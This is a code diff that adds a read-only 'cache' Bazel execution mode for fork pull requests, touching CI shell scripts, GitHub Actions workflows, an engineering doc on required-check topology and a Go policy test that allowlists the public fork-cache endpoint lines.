cache_dir="${BAZEL_CI_CACHE_DIR:?BAZEL_CI_CACHE_DIR is required}" @@ -76,6 +81,14 @@ cert="${RBE_TLS_CERT:-}" key="${RBE_TLS_KEY:-}" ca="${RBE_TLS_CA:-}" instance="${RBE_INSTANCE:-}" +fork_cache="${BAZEL_FORK_CACHE:-}" +case "$fork_cache" in +"" | true) ;; +*) + echo "setup-bazel: BAZEL_FORK_CACHE must be \"true\" or empty, got \"$fork_cache\"" >&2 + exit 1 + ;; +esac rc="$secret_dir/ci.bazelrc" umask 077 @@ -116,7 +129,12 @@ for v in "$executor" "$cert" "$key"; do done remote=false +cache=false if [[ "$set_fields" -eq 3 ]]; then + if [[ "$fork_cache" == true ]]; then + echo "setup-bazel: BAZEL_FORK_CACHE and the remote execution secrets are mutually exclusive" >&2 + exit 1 + fi write_pem "$secret_dir/client.crt" "$cert" write_pem "$secret_dir/client.key" "$key" # Outside the rc block below: write_pem's mask commands go to the log. @@ -146,6 +164,10 @@ if [[ "$set_fields" -eq 3 ]]; then elif [[ "$set_fields" -ne 0 ]]; then echo "setup-bazel: remote execution is partially configured; BAZEL_REMOTE_EXECUTOR, RBE_TLS_CERT and RBE_TLS_KEY must be set together (or none, for local execution)" >&2 exit 1 +elif [[ "$fork_cache" == true ]]; then + echo "build --config=fork-cache" >>"$rc" + cache=true + echo "setup-bazel: read-only remote cache (rbe-cache); executing locally" else echo "setup-bazel: no remote execution secrets; running locally" fi @@ -154,4 +176,5 @@ out="${GITHUB_OUTPUT:-/dev/stdout}" { echo "rc=$rc" echo "remote=$remote" + echo "cache=$cache" } >>"$out" diff --git a/.github/scripts/bazel-gate.sh b/.github/scripts/bazel-gate.sh index 3891d654d..9de55d432 100755 --- a/.github/scripts/bazel-gate.sh +++ b/.github/scripts/bazel-gate.sh @@ -7,7 +7,7 @@ # bazel-gate.sh skips the Bazel gate ids whose job is skipped by design # in this mode, for CI_GATE_SKIPPED_OK: # skip: every lane and the aggregate (BAZEL) -# local: the remote-only BAZEL_EMBEDDED, +# local, cache: the remote-only BAZEL_EMBEDDED, # BAZEL_INTEGRATION, BAZEL_PROXIED, # BAZEL_SERVER_STORAGE # remote: none @@ -29,7 +29,7 @@ mode="${BAZEL_RBE_MODE:-}" enabled="${BAZEL_RBE_ENABLED:-}" valid=false case "$mode/$enabled" in - remote/true | local/false | skip/false) valid=true ;; + remote/true | local/false | cache/false | skip/false) valid=true ;; esac case "${1:-}" in @@ -38,7 +38,7 @@ case "${1:-}" in if [[ "$valid" == true ]]; then case "$mode" in skip) skips+=(BAZEL BAZEL_TEST BAZEL_PURE BAZEL_EMBEDDED BAZEL_INTEGRATION BAZEL_DOLTSERVER BAZEL_PROXIED BAZEL_SERVER_STORAGE) ;; - local) skips+=(BAZEL_EMBEDDED BAZEL_INTEGRATION BAZEL_PROXIED BAZEL_SERVER_STORAGE) ;; + local | cache) skips+=(BAZEL_EMBEDDED BAZEL_INTEGRATION BAZEL_PROXIED BAZEL_SERVER_STORAGE) ;; esac fi echo "${skips[*]-}" diff --git a/.github/workflows/bazel-farm.yml b/.github/workflows/bazel-farm.yml index 3604ca2ea..df03ae606 100644 --- a/.github/workflows/bazel-farm.yml +++ b/.github/workflows/bazel-farm.yml @@ -1,18 +1,19 @@ # Bazel lanes on the remote-execution farm for fork PRs by trusted authors. # # Fork PRs get no Actions secrets, so pr.yml's Bazel call runs them locally -# (no remote-only lanes). This workflow gives the farm to fork PRs whose +# with rbe-west's anonymous read-only cache (mode cache, no remote-only +# lanes). This workflow gives the farm to fork PRs whose # author AND triggering user are on .github/bazel-farm-allowlist.txt (by # numeric user id), by calling bazel.yml from pull_request_target, which has # the secrets. # # ADVISORY. pr.yml is unchanged: every fork PR, listed or not, still runs the -# local Bazel lanes inside the enforced `CI Gate / Required`. This run adds a -# fast remote signal, including the remote-only embedded, integration, -# proxied-server and server-storage tiers, that no required check and no -# privileged workflow reads. Making it authoritative needs a trusted -# reporter; see engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md, "Trusted-author fork -# PRs". +# cache-mode Bazel lanes (local execution, read-only cache) inside the +# enforced `CI Gate / Required`. This run adds a fast remote signal, +# including the remote-only embedded, integration, proxied-server and +# server-storage tiers, that no required check and no privileged workflow +# reads. Making it authoritative needs a trusted reporter; see +# engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md, "Trusted-author fork PRs". # # SECURITY MODEL (policy-tested in scripts/ci_workflow_test.go, # TestBazelFarmWorkflowSecurity; threat model in the engdoc): diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index 265aa2bad..d6301cc35 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -10,8 +10,8 @@ # BAZEL_RETIRES_LEGACY_EMBEDDED flag is "true", on a same-repo, # non-Dependabot pull_request (whatever the mode), pr-risk.yml's bazel-embedded-coverage job stands them down and # bazel-embedded alone runs the tier; pr.yml's ci-gate then requires that -# lane to have run remotely and passed, so modes skip and local are red there -# (scripts/pr_risk_bazel_coverage_test.go). +# lane to have run remotely and passed, so modes skip, local and cache are +# red there (scripts/pr_risk_bazel_coverage_test.go). # This file has no pull_request or merge_group trigger of its own, so a PR # runs the lane once. Every lane reports its job.status as a workflow_call # output (named after the job) from an always() last step. pr.yml's ci-gate @@ -26,9 +26,9 @@ # "on") although its legacy counterparts, main.yml's integration jobs, run # only on push to main: remotely it is minutes, and it catches on the PR what # main.yml would catch after the merge. Like every remote-only lane it skips -# for fork and Dependabot PRs (mode local); forks get it once the farm has a -# read-only cache for them. Direct runs (push to main, workflow_dispatch, -# nightly.yml's call) gate nothing. +# for fork and Dependabot PRs (mode cache: the read-only cache speeds up +# local execution, it does not run the remote-only lanes). Direct runs (push +# to main, workflow_dispatch, nightly.yml's call) gate nothing. # # Execution mode, decided once by the rbe job (every other job needs it and # reads its outputs; none re-derives the condition) and passed to @@ -39,8 +39,14 @@ # RBE_TLS_CERT, RBE_TLS_KEY (base64; RBE_TLS_CA optional): remote # execution on rbe-west, instance "oss" (shared with gascity), from the # Blacksmith runner. -# local: fork PRs, rbe=off dispatches, and same-repo runs without the -# secret (Dependabot PRs: same-repo, but no Actions secrets): local +# cache: fork PRs (unless bazel-farm.yml authorized them), rbe=cache +# dispatches and same-repo runs without the secret (Dependabot PRs: +# same-repo, but no Actions secrets): like local (ubuntu-latest, +# remote-only jobs skipped), plus rbe-west's anonymous read-only cache +# (.bazelrc --config=fork-cache): hits for every action trusted CI +# already executed, no credentials, no uploads. The farm can close it at +# any time; Bazel then runs everything locally. +# local: rbe=off dispatches (fork simulation without the cache): local # execution on ubuntu-latest, slower but the same results, for every job # but the remote-only ones (bazel-embedded, bazel-integration, # bazel-proxied, bazel-server-storage), which are skipped. @@ -51,13 +57,14 @@ # the base branch's .github/bazel-farm-allowlist.txt, with fork-farm: # authorized and checkout-sha: the event's pinned head SHA. Only that # combination, on a pull_request_target event, lets a fork run remotely; a -# fork's pull_request run (pr.yml, which the fork may edit) stays local -# whatever it passes, and has no secrets anyway. See +# fork's pull_request run (pr.yml, which the fork may edit) stays in mode +# cache (or local) whatever it passes, and has no secrets anyway. See # engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md, "Trusted-author fork PRs". -# workflow_dispatch with rbe=off simulates a fork run. The decision is also a -# workflow_call output (rbe-mode, rbe-enabled), so pr.yml's gate can tell an -# expected skip from a missing lane without re-deriving it. Callers pass -# exactly the four RBE secrets below, never `secrets: inherit`. +# workflow_dispatch with rbe=cache simulates a fork run; rbe=off also drops +# the cache. The decision is also a workflow_call output (rbe-mode, +# rbe-enabled), so pr.yml's gate can tell an expected skip from a missing +# lane without re-deriving it. Callers pass exactly the four RBE secrets +# below, never `secrets: inherit`. # # Accepted risk (same model as gascity's bazel-test.yml): on push, merge_group # and same-repo pull_request runs, code from the PR head runs with the RBE @@ -78,11 +85,11 @@ # the generated rc), and the certificate # is issued to beads CI alone, so it can be revoked without affecting other # clients. Maintainers decided (2026-09-28) that same-repo PRs keep remote -# execution under this model. Still open: a beads-only RBE_INSTANCE and -# farm-side denial of client action-cache writes. Nothing downstream consumes -# artifacts built here yet; in pr.yml's run the bd artifact is -# bazel-ci-build-artifacts, so it cannot collide with the build-artifacts -# job's ci-build-artifacts. +# execution under this model. Still open: a beads-only RBE_INSTANCE. The farm +# refuses client action-cache writes (only its workers write; rbe-west D2). +# Nothing downstream consumes artifacts built here yet; in pr.yml's run the +# bd artifact is bazel-ci-build-artifacts, so it cannot collide with the +# build-artifacts job's ci-build-artifacts. # # Runner cache: one entry per (.bazelversion, MODULE.bazel.lock) pair, about # 2 GB (Bazel's content-addressable --repository_cache, re-hashed on every @@ -100,11 +107,11 @@ on: workflow_dispatch: inputs: rbe: - description: "Remote execution: on (use secrets) or off (fork simulation)" + description: "Remote execution: on (use secrets), cache (fork simulation: anonymous read-only cache) or off (local only)" required: true type: choice default: "on" - options: [ "on", "off" ] + options: [ "on", "cache", "off" ] details: description: "List every equivalence divergence" required: false @@ -189,7 +196,7 @@ on: description: "'true' when the lanes executed remotely on rbe-west, else 'false'" value: ${{ jobs.rbe.outputs.enabled }} rbe-mode: - description: "remote, local (no remote-only jobs) or skip (no jobs): the rbe job's decision" + description: "remote, cache or local (no remote-only jobs), or skip (no jobs): the rbe job's decision" value: ${{ jobs.rbe.outputs.mode }} bazel-test: description: "bazel-test's job.status" @@ -235,7 +242,7 @@ jobs: # job sees the same answer for the whole run. Its step reads one secret, and # only to test it for emptiness: the step's env holds a boolean, never the # value, and the step runs no repository code (no checkout). Dependabot - # runs read vars but get no secrets, so they come out local, not remote. + # runs read vars but get no secrets, so they come out cache, not remote. rbe: name: execution mode runs-on: ubuntu-latest @@ -251,21 +258,24 @@ jobs: env: RBE_VAR_ON: ${{ vars.RBE_WEST_WORKERS == 'true' }} RBE_INPUT_OFF: ${{ inputs.rbe == 'off' }} + RBE_INPUT_CACHE: ${{ inputs.rbe == 'cache' }} FORK: ${{ github.event.pull_request.head.repo.fork == true }} FORK_FARM: ${{ inputs.fork-farm == 'authorized' && github.event_name == 'pull_request_target' && inputs.checkout-sha != '' }} HAS_EXECUTOR: ${{ secrets.RBE_WEST_EXECUTOR != '' }} run: | - for v in RBE_VAR_ON RBE_INPUT_OFF FORK FORK_FARM HAS_EXECUTOR; do + for v in RBE_VAR_ON RBE_INPUT_OFF RBE_INPUT_CACHE FORK FORK_FARM HAS_EXECUTOR; do case "${!v}" in true|false) ;; *) echo "::error::$v is '${!v}', want true or false"; exit 1 ;; esac done - # A fork runs locally unless bazel-farm.yml authorized it; an - # authorized fork run is remote or nothing (pr.yml's call already - # runs it locally). - if [ "$RBE_INPUT_OFF" = true ] || { [ "$FORK" = true ] && [ "$FORK_FARM" != true ]; }; then + # A fork runs locally with the read-only cache unless + # bazel-farm.yml authorized it; an authorized fork run is remote or + # nothing (pr.yml's call already runs it locally). + if [ "$RBE_INPUT_OFF" = true ]; then mode=local + elif [ "$RBE_INPUT_CACHE" = true ] || { [ "$FORK" = true ] && [ "$FORK_FARM" != true ]; }; then + mode=cache elif [ "$RBE_VAR_ON" != true ]; then mode=skip elif [ "$HAS_EXECUTOR" = true ]; then @@ -273,21 +283,21 @@ jobs: elif [ "$FORK_FARM" = true ]; then mode=skip else - mode=local + mode=cache fi enabled=false if [ "$mode" = remote ]; then enabled=true; fi echo "mode=$mode" >> "$GITHUB_OUTPUT" echo "enabled=$enabled" >> "$GITHUB_OUTPUT" - echo "Bazel execution mode: **$mode** (RBE_WEST_WORKERS on: $RBE_VAR_ON, rbe=off: $RBE_INPUT_OFF, fork: $FORK, fork farm: $FORK_FARM, executor secret: $HAS_EXECUTOR)" | tee -a "$GITHUB_STEP_SUMMARY" + echo "Bazel execution mode: **$mode** (RBE_WEST_WORKERS on: $RBE_VAR_ON, rbe=off: $RBE_INPUT_OFF, rbe=cache: $RBE_INPUT_CACHE, fork: $FORK, fork farm: $FORK_FARM, executor secret: $HAS_EXECUTOR)" | tee -a "$GITHUB_STEP_SUMMARY" bazel-test: name: test # Remote-execution runs use the org's Blacksmith pool (the farm's edge - # admits it; GitHub-hosted runners are refused) and do not count against - # GitHub's concurrent-job cap. Local runs (forks, rbe=off, no secrets) - # build everything on the runner, so they get the larger GitHub-hosted - # one. + # admits any runner holding the client certificate; there is no IP + # allowlist) and do not count against GitHub's concurrent-job cap. Local + # and cache runs (forks, rbe=off/cache, no secrets) build everything + # they miss on the runner, so they get the larger GitHub-hosted one. needs: rbe runs-on: ${{ needs.rbe.outputs.enabled == 'true' && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} # Remote execution goes to rbe-west (instance "oss", the Blacksmith-backed @@ -338,6 +348,7 @@ jobs: RBE_TLS_KEY: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_KEY || '' }} RBE_TLS_CA: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_CA || '' }} RBE_INSTANCE: ${{ needs.rbe.outputs.enabled == 'true' && 'oss' || '' }} + BAZEL_FORK_CACHE: ${{ needs.rbe.outputs.mode == 'cache' && 'true' || '' }} # T1: remote + restored repository cache; T2: remote, cold runner; local: # no remote execution (reported, never budgeted). @@ -559,6 +570,7 @@ jobs: RBE_TLS_KEY: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_KEY || '' }} RBE_TLS_CA: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_CA || '' }} RBE_INSTANCE: ${{ needs.rbe.outputs.enabled == 'true' && 'oss' || '' }} + BAZEL_FORK_CACHE: ${{ needs.rbe.outputs.mode == 'cache' && 'true' || '' }} - name: Run js/wasm hook boundary run: | @@ -695,6 +707,7 @@ jobs: RBE_TLS_KEY: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_KEY || '' }} RBE_TLS_CA: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_CA || '' }} RBE_INSTANCE: ${{ needs.rbe.outputs.enabled == 'true' && 'oss' || '' }} + BAZEL_FORK_CACHE: ${{ needs.rbe.outputs.mode == 'cache' && 'true' || '' }} # Bazel retries a flaky = True test (up to three attempts) and reports a # later pass as PASSED. The policy test greps BUILD files for it; this @@ -813,6 +826,7 @@ jobs: RBE_TLS_KEY: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_KEY || '' }} RBE_TLS_CA: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_CA || '' }} RBE_INSTANCE: ${{ needs.rbe.outputs.enabled == 'true' && 'oss' || '' }} + BAZEL_FORK_CACHE: ${{ needs.rbe.outputs.mode == 'cache' && 'true' || '' }} # Remote: a cold compile (a PR touching a widely imported package; the # first cold run took 17 minutes end to end, warm ones ~3.5) plus the @@ -897,6 +911,7 @@ jobs: RBE_TLS_KEY: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_KEY || '' }} RBE_TLS_CA: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_CA || '' }} RBE_INSTANCE: ${{ needs.rbe.outputs.enabled == 'true' && 'oss' || '' }} + BAZEL_FORK_CACHE: ${{ needs.rbe.outputs.mode == 'cache' && 'true' || '' }} # Docker lane only (the A/B control), as in the mirrored jobs; its # tests fail rather than skip without the image. @@ -975,6 +990,7 @@ jobs: RBE_TLS_KEY: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_KEY || '' }} RBE_TLS_CA: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_CA || '' }} RBE_INSTANCE: ${{ needs.rbe.outputs.enabled == 'true' && 'oss' || '' }} + BAZEL_FORK_CACHE: ${{ needs.rbe.outputs.mode == 'cache' && 'true' || '' }} # Remote: the longest shard takes ~5-8 minutes (each shard's Go # timeout is its job's 15m, 1200s Bazel cap), plus a compile. @@ -1056,6 +1072,7 @@ jobs: RBE_TLS_KEY: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_KEY || '' }} RBE_TLS_CA: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_CA || '' }} RBE_INSTANCE: ${{ needs.rbe.outputs.enabled == 'true' && 'oss' || '' }} + BAZEL_FORK_CACHE: ${{ needs.rbe.outputs.mode == 'cache' && 'true' || '' }} # Remote: the longest shard takes ~2-3 minutes (the storage suite's Go # timeout is 15m per shard, 1200s Bazel cap), plus a compile. diff --git a/.github/workflows/pr-risk.yml b/.github/workflows/pr-risk.yml index 386fa6575..cc5c8c556 100644 --- a/.github/workflows/pr-risk.yml +++ b/.github/workflows/pr-risk.yml @@ -70,7 +70,7 @@ jobs: # fork) pull_request whose actor is not Dependabot. pr.yml runs this same # job (policy-tested identical) and its gate goes red unless the lane then # ran remotely and passed, so neither the kill switch (mode skip) nor a - # missing executor secret (mode local) can silently drop the tier. Forks + # missing executor secret (mode cache) can silently drop the tier. Forks # and Dependabot (no secrets), merge_group and every other event keep the # legacy tier. The step reads no secret or variable and runs no repository # code. @@ -86,7 +86,7 @@ jobs: # and not the executor secret (either, evaluated per run, would let one # workflow's re-run disagree with the other's). A same-repo PR whose run # lacks the secret is covered anyway, so pr.yml's gate goes red (mode - # local) instead of the tier silently moving back. Dependabot runs get + # cache) instead of the tier silently moving back. Dependabot runs get # no Actions secrets by design and keep the legacy tier; github.actor # (unlike triggering_actor) stays the PR's actor on a re-run. - name: Decide whether the Bazel lane covers the embedded tier diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index a65aca9f9..517176deb 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -1784,13 +1784,13 @@ jobs: # bazel-embedded-coverage job; D2 step 1), and ci-gate then requires this # call's embedded lane to have run remotely and passed. bazel.yml has no pull_request/merge_group trigger of its own: # this call is its only PR run. It gets the four RBE secrets and nothing - # else; its rbe job decides remote, local (forks, Dependabot: no - # remote-only lanes) or skip, and exports that for ci-gate. Its - # bazel-integration lane (main.yml's integration jobs, which run only on - # push to main) is on and required here, remote only: same-repo PRs run - # it, fork and Dependabot PRs (mode local) skip it until the farm has a - # read-only cache for them. Its bd artifact is renamed so it cannot - # collide with build-artifacts' upload. + # else; its rbe job decides remote, cache (forks, Dependabot: local + # execution with the anonymous read-only cache, no remote-only lanes) or + # skip, and exports that for ci-gate. Its bazel-integration lane + # (main.yml's integration jobs, which run only on push to main) is on and + # required here, remote only: same-repo PRs run it, fork and Dependabot PRs + # (mode cache) skip it. Its bd artifact is renamed so it cannot collide + # with build-artifacts' upload. bazel: name: Bazel permissions: @@ -1821,7 +1821,7 @@ jobs: # and not the executor secret (either, evaluated per run, would let one # workflow's re-run disagree with the other's). A same-repo PR whose run # lacks the secret is covered anyway, so pr.yml's gate goes red (mode - # local) instead of the tier silently moving back. Dependabot runs get + # cache) instead of the tier silently moving back. Dependabot runs get # no Actions secrets by design and keep the legacy tier; github.actor # (unlike triggering_actor) stays the PR's actor on a re-run. - name: Decide whether the Bazel lane covers the embedded tier @@ -1965,8 +1965,8 @@ jobs: fi # Bazel lanes skipped by design in the call's execution mode (all # of them in mode skip, the remote-only embedded, integration, - # proxied and server-storage tiers in mode local), and the - # aggregate unless the mode is missing or invalid. + # proxied and server-storage tiers in modes local and cache), and + # the aggregate unless the mode is missing or invalid. skipped_ok="$skipped_ok $(bash .github/scripts/bazel-gate.sh skips)" BAZEL="$(bash .github/scripts/bazel-gate.sh aggregate)" export BAZEL diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index 94905d887..8f5507567 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -42,8 +42,10 @@ Current PR-related workflow names: - `.github/workflows/bazel.yml`: `Bazel` Runs on `push` to `main`, manual dispatch, and `workflow_call` only. PRs and merge groups run it once, through `pr.yml`'s `bazel` job. Its `rbe` job - decides the execution mode once (`remote`, `local` for fork and Dependabot - PRs, or `skip` while the `RBE_WEST_WORKERS` repo variable is unset) and + decides the execution mode once (`remote`; `cache` for fork and Dependabot + PRs: local execution plus rbe-west's anonymous read-only action cache, + `.bazelrc`'s `fork-cache` config; `local` for `rbe=off` dispatches; or + `skip` while the `RBE_WEST_WORKERS` repo variable is unset) and exports it as the `rbe-mode` / `rbe-enabled` outputs; every lane exports its `job.status` as an output named after the job. `pr.yml`'s gate requires the call's result (`BAZEL`) and `BAZEL_TEST`, `BAZEL_PURE`, `BAZEL_EMBEDDED`, @@ -53,8 +55,8 @@ Current PR-related workflow names: place (see [Legacy Embedded Tier Retirement](#legacy-embedded-tier-retirement-d2-step-1)). `.github/scripts/bazel-gate.sh` reads the exported mode, never the variable - or the fork flag: mode `skip` allows every Bazel id to skip, mode `local` - allows only the remote-only `BAZEL_EMBEDDED`, `BAZEL_INTEGRATION`, + or the fork flag: mode `skip` allows every Bazel id to skip, modes `local` + and `cache` allow only the remote-only `BAZEL_EMBEDDED`, `BAZEL_INTEGRATION`, `BAZEL_PROXIED` and `BAZEL_SERVER_STORAGE` (fork and Dependabot PRs rely on `pr-risk.yml`'s legacy tiers for the embedded, proxied and server-storage tiers), and mode `remote` allows none. @@ -66,11 +68,11 @@ Current PR-related workflow names: `remote` it runs, and a failure, cancellation or missing result turns the gate red. Its legacy twins still run only on push to `main`, so this lane is the only PR-time run of the full integration-tagged suite. Fork and - Dependabot PRs (mode `local`) skip it, with no legacy fallback on the PR: + Dependabot PRs (mode `cache`) skip it, with no legacy fallback on the PR: they get integration coverage only after merge, from `main.yml`. Running it - for forks waits on a read-only remote cache they may use; that change is - making the lane local-capable for forks in `bazel.yml` and dropping - `BAZEL_INTEGRATION` from `bazel-gate.sh`'s mode-`local` skips. Its step + for forks, now that they have the read-only cache, means making the lane + cache-capable in `bazel.yml` and dropping `BAZEL_INTEGRATION` from + `bazel-gate.sh`'s mode-`cache` skips. Its step timeout (45 minutes) covers a cold compile plus the 1200 s per-action cap (policy-tested against `.bazelrc`); warm runs take about 3.5 minutes. `scripts/ci_workflow_test.go` fails when a new `bazel.yml` job has neither @@ -84,11 +86,19 @@ Current PR-related workflow names: `pr.yml` and `pr-risk.yml` (see [Legacy Embedded Tier Retirement](#legacy-embedded-tier-retirement-d2-step-1)), then unset the `RBE_WEST_WORKERS` repo variable: same-repo runs then take - mode `skip`, which the gate accepts (fork PRs still run locally, so drift - on `main` still reaches them). Unsetting the variable while the flag is - still `"true"` turns `CI Gate / Required` red on every same-repo PR + mode `skip`, which the gate accepts (fork PRs still build, in mode `cache`, + so drift on `main` still reaches them). Unsetting the variable while the + flag is still `"true"` turns `CI Gate / Required` red on every same-repo PR (`BAZEL_EMBEDDED_RETIRED`), because PR Risk no longer runs the legacy - embedded tier for them. + embedded tier for them. If rbe-west closes the read-only cache, fork runs + fall back to executing everything locally (slower, still green). If it + is slow rather than closed, each lookup gives up after `fork-cache`'s + 15 s `--remote_timeout` (times its retries), and Bazel's failure circuit + breaker (`--experimental_circuit_breaker_strategy=failure`) stops calling + it once too many lookups fail (by default 10% within 60 s); the remaining + actions run locally. Lookups that time out before the breaker trips still + cost up to that timeout each, so a slow endpoint slows fork runs until it + trips. - `.github/workflows/bazel-farm.yml`: `Bazel Farm (trusted forks)` Runs on `pull_request_target` for fork PRs to `main` whose author and triggering user are on `.github/bazel-farm-allowlist.txt`, and calls @@ -140,7 +150,8 @@ enforced there. ## Trusted-Author Fork PRs (Bazel Farm) Fork PRs get no Actions secrets, so `pr.yml`'s Bazel call runs them in mode -`local` (no remote-only lanes, slower). `bazel-farm.yml` gives the +`cache` (local execution with the anonymous read-only cache, no remote-only +lanes, slower). `bazel-farm.yml` gives the remote-execution farm to fork PRs from an allowlist of trusted authors (`.github/bazel-farm-allowlist.txt`: the numeric user ids of the same four people as gascity's `.github/blacksmith-allowlist.txt`). Everyone else's @@ -300,8 +311,8 @@ What anyone else can do: nothing new. the base allowlist and says no. `farm` is skipped, and no secret or PR code is involved. - Fork `pull_request` runs still get no secrets, and `bazel.yml` keeps them - local even if the fork's `pr.yml` passes `fork-farm`, because the event is - not `pull_request_target`. + local (mode `cache`) even if the fork's `pr.yml` passes `fork-farm`, + because the event is not `pull_request_target`. Attacks considered: @@ -666,7 +677,7 @@ have run remotely and passed. `github.actor` is not `dependabot[bot]`, while the flag is `"true"`. The executor secret is deliberately not part of the decision: a same-repo PR whose run lacks it (secret deleted or emptied) is still covered, takes - Bazel mode `local` (no embedded lane) and so turns `CI Gate / Required` + Bazel mode `cache` (no embedded lane) and so turns `CI Gate / Required` red, instead of quietly moving back to a legacy tier that one of its runs may already have skipped. - Everyone else keeps the legacy tier unchanged: diff --git a/scripts/bazel_policy_test.go b/scripts/bazel_policy_test.go index 5a37251c5..6be3f86fb 100644 --- a/scripts/bazel_policy_test.go +++ b/scripts/bazel_policy_test.go @@ -312,6 +312,8 @@ func TestBazelLocalRCFilesGitignored(t *testing.T) { // , a $VARIABLE/${{ expression }}, empty, or loopback); // - in rc and .github files, any gRPC URL that is not loopback. Markdown is // exempt from this rule because beads documents OTel gRPC exporters. +// +// The one exception is publicForkCacheLines. var ( remoteFlagNames = `remote_executor|remote_cache|remote_downloader|remote_header|remote_instance_name|` + @@ -326,6 +328,22 @@ var ( remoteScanPrefilter = [][]byte{[]byte("--remote_"), []byte("--bes_"), []byte("--tls_"), []byte("grpc")} ) +// publicForkCacheLines: the endpoint lines of .bazelrc's fork-cache config, +// public by design. rbe-west's rbe-cache endpoint is anonymous and read-only +// (action-cache and CAS reads; writes and Execute are refused by the farm), +// so there is no credential to leak. Exactly these lines, trimmed, and only +// in .bazelrc; the same line anywhere else, or any other endpoint, is still a +// hit. Assembled so this file never contains a literal endpoint. +var publicForkCacheLines = map[string]bool{ + "build:fork-cache --remote_cache=" + forkCacheEndpoint: true, + "build:fork-cache --remote_instance_name=" + forkCacheInstance: true, +} + +const ( + forkCacheEndpoint = "grpc" + "s://rbe-cache.ops.gascity.com:8443" + forkCacheInstance = "oss" +) + type endpointHit struct { path string line int @@ -377,6 +395,9 @@ func findRemoteEndpoints(path string, content []byte, strict bool) []endpointHit scanner.Buffer(make([]byte, 0, 64*1024), 16*1024*1024) for n := 1; scanner.Scan(); n++ { line := scanner.Text() + if path == ".bazelrc" && publicForkCacheLines[strings.TrimSpace(line)] { + continue + } for _, re := range flagRes { for _, m := range re.FindAllStringSubmatch(line, -1) { if !allowedRemoteValue(m[2]) { @@ -441,6 +462,30 @@ func TestBazelNoRemoteEndpointsInTrackedFiles(t *testing.T) { t.Errorf("allowed fixture flagged: %q -> %v", ok, hits) } } + // The fork cache's public endpoint: exactly its two .bazelrc lines. + forkCache := "build:fork-cache " + flag("remote_cache") + "=" + forkCacheEndpoint + "\n" + + " build:fork-cache " + flag("remote_instance_name") + "=oss \n" + if hits := findRemoteEndpoints(".bazelrc", []byte(forkCache), true); len(hits) != 0 { + t.Errorf("fork-cache endpoint lines flagged in .bazelrc: %v", hits) + } + for _, path := range []string{"tools/ci.bazelrc", ".bazelrc.local", "user.bazelrc", ".github/workflows/x.yml", ".github/actions/setup-bazel/x.sh"} { + if hits := findRemoteEndpoints(path, []byte(forkCache), true); len(hits) < 2 { + t.Errorf("fork-cache endpoint lines in %s: hits %v, want both lines flagged (allowlisted in .bazelrc only)", path, hits) + } + } + for _, bad := range []string{ + "build:fork-cache " + flag("remote_cache") + "=" + scheme + "other.example:8443\n", + "build:fork-cache " + flag("remote_cache") + "=" + forkCacheEndpoint + "/x\n", + "build:fork-cache " + flag("remote_cache") + "=" + forkCacheEndpoint + " " + flag("remote_header") + "=x-api-key=abc\n", + "build " + flag("remote_cache") + "=" + forkCacheEndpoint + "\n", + "build:remote-exec " + flag("remote_executor") + "=" + forkCacheEndpoint + "\n", + "build:fork-cache " + flag("remote_instance_name") + "=beads\n", + "# see " + forkCacheEndpoint + "\n", + } { + if len(findRemoteEndpoints(".bazelrc", []byte(bad), true)) == 0 { + t.Errorf("non-allowlisted fork-cache variant not detected in .bazelrc: %q", bad) + } + } // Markdown: OTel gRPC exporter URLs and prose mentioning the flag are fine; // a literal flag value is not. for _, ok := range []string{ @@ -868,28 +913,37 @@ func TestBazelTestTagsFollowTaxonomy(t *testing.T) { } } -// bazelrcOption is one flag set by a `command:config` line of .bazelrc; a -// flag and its separate value are joined as flag=value. -type bazelrcOption struct{ config, flag string } +// bazelrcOption is one flag set by a `command:config` line of .bazelrc, or by +// a plain `command` line (config ""); a flag and its separate value are +// joined as flag=value. +type bazelrcOption struct{ command, config, flag string } +// source is the option's line prefix as written: command:config or command. +func (o bazelrcOption) source() string { + if o.config == "" { + return o.command + } + return o.command + ":" + o.config +} + +// parseBazelrcOptions returns the options of every command line of bazelrc, +// with or without a config (import and try-import lines are not options). func parseBazelrcOptions(bazelrc string) []bazelrcOption { var opts []bazelrcOption for _, line := range strings.Split(bazelrc, "\n") { fields := strings.Fields(line) - if len(fields) < 2 || strings.HasPrefix(fields[0], "#") { - continue - } - _, config, ok := strings.Cut(fields[0], ":") - if !ok { + if len(fields) < 2 || strings.HasPrefix(fields[0], "#") || + fields[0] == "import" || fields[0] == "try-import" { continue } + command, config, _ := strings.Cut(fields[0], ":") for i := 1; i < len(fields); i++ { flag := fields[i] if (flag == "--config" || flag == "--test_tag_filters" || flag == "--test_arg") && i+1 < len(fields) { i++ flag += "=" + fields[i] } - opts = append(opts, bazelrcOption{config, flag}) + opts = append(opts, bazelrcOption{command, config, flag}) } } return opts @@ -897,13 +951,14 @@ func parseBazelrcOptions(bazelrc string) []bazelrcOption { // bazelrcLaneOptions returns the options of config and of every config that // expands it (test:ci --config=prcore), in file 